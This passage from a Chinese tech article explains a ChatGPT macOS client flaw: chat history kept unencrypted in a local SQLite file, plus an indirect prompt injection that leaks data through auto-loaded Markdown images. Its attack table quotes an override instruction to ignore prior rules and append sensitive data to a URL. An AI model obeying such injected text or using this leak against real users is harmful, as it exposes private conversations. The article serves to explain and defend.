ChatGPT macOS 客户端漏洞剖析:AI 软件本地数据安全隐患
- 作者

- 姓名
- Nino
- 职业
- Senior Tech Editor
在大语言模型(LLM)与人工智能的安全讨论中,业界注意力往往集中在自主 AI 代理是否会被用于发起网络攻击。然而,近期被修复的 OpenAI 官方 ChatGPT macOS 客户端严重漏洞提醒我们:承载 AI 模型的桌面端客户端软件本身,正在成为黑客眼中极具诱惑力且脆弱的攻击目标。
该漏洞允许恶意攻击者在未经授权的情况下,窃取用户存储在本地的历史对话记录以及敏感交互数据。随着企业与开发者加速将大模型能力集成至本地办公与开发环境中,深入理解客户端 AI 软件的结构性漏洞机制并采取防护措施显得尤为迫切。
本文将对 ChatGPT macOS 客户端漏洞的技术细节进行深度剖析,揭示本地明文存储与间接提示词注入(Indirect Prompt Injection)相结合的攻击链路,并探讨如何通过 n1n.ai 提供的统一 API 架构构建高防御力的 AI 工作流。
技术剖析:ChatGPT macOS 客户端漏洞形成机制
本次 ChatGPT macOS 客户端披露的安全缺陷主要集中在两个维度:本地数据持久化未加密 以及 Markdown 渲染引擎结合间接提示词注入(IPI)造成的数据外泄。
1. 本地 SQLite 数据库明文存储
OpenAI 在推出 macOS 原生客户端时,为了追求极致的响应速度与本地缓存体验,将用户的完整对话历史、系统提示词及元数据以明文形式存储在用户目录下的 SQLite 数据库中:
~/Library/Application Support/com.openai.chat/
与 Web 端应用不同(Web 端数据存储在隔离的远程服务器或受浏览器 Cookie 同源策略保护),桌面客户端直接继承了宿主操作系统的文件权限体系。在 macOS 系统中,任何运行在当前用户上下文中的应用程序或恶意脚本,均无需获取 Root 超级用户权限,也无需突破 macOS 的系统完整性保护(SIP),即可直接读取该数据库中的所有敏感对话。
2. 间接提示词注入与外向数据外泄
如果说本地明文存储提供了攻击的面,那么间接提示词注入(Indirect Prompt Injection, IPI)与不安全的 Markdown 渲染则构成了跨越网络边界的攻击链路。
当用户使用 ChatGPT 处理外部不可信数据(例如阅读恶意网页、解析带有恶意代码的 PDF 文件或粘贴未核实的文本)时,嵌入其中的恶意指令会劫持 LLM 的执行逻辑。攻击者诱导模型生成特定的 Markdown 图片标签,客户端在渲染该标签时会自动向攻击者控制的外部服务器发起请求。
具体攻击路径如下表所示:
| 攻击阶段 | 阶段描述 | 技术实现细节 |
|---|---|---|
| 1. 载入 | 用户向客户端提供不可信上下文 | 浏览网页、上传文档或剪贴板粘贴 |
| 2. 注入 | 嵌入指令覆盖系统原始 Prompt | 忽略前文规则,将敏感数据拼接到指定 URL 后 |
| 3. 外泄 | 模型生成带有数据载荷的 Markdown 标签 |  |
| 4. 触发 | 客户端 UI 引擎自动加载远程图片资源 | 客户端向恶意域名发送带有敏感数据的 HTTP GET 请求 |
由于客户端 UI 渲染引擎在处理 Markdown 时没有设置严格的域名白名单,也没有对图片 Request 进行载荷过滤,导致用户的私密对话数据被带外(Out-of-Band)传输至攻击者的服务器。
代码模拟:间接提示词注入攻击演练
为了更直观地理解 UI 渲染缺陷如何被利用,以下代码展示了当应用处理包含恶意注入内容的外部上下文时发生的逻辑劫持:
# 模拟从外部网页或 PDF 中读取到的恶意文本载荷
untrusted_external_content =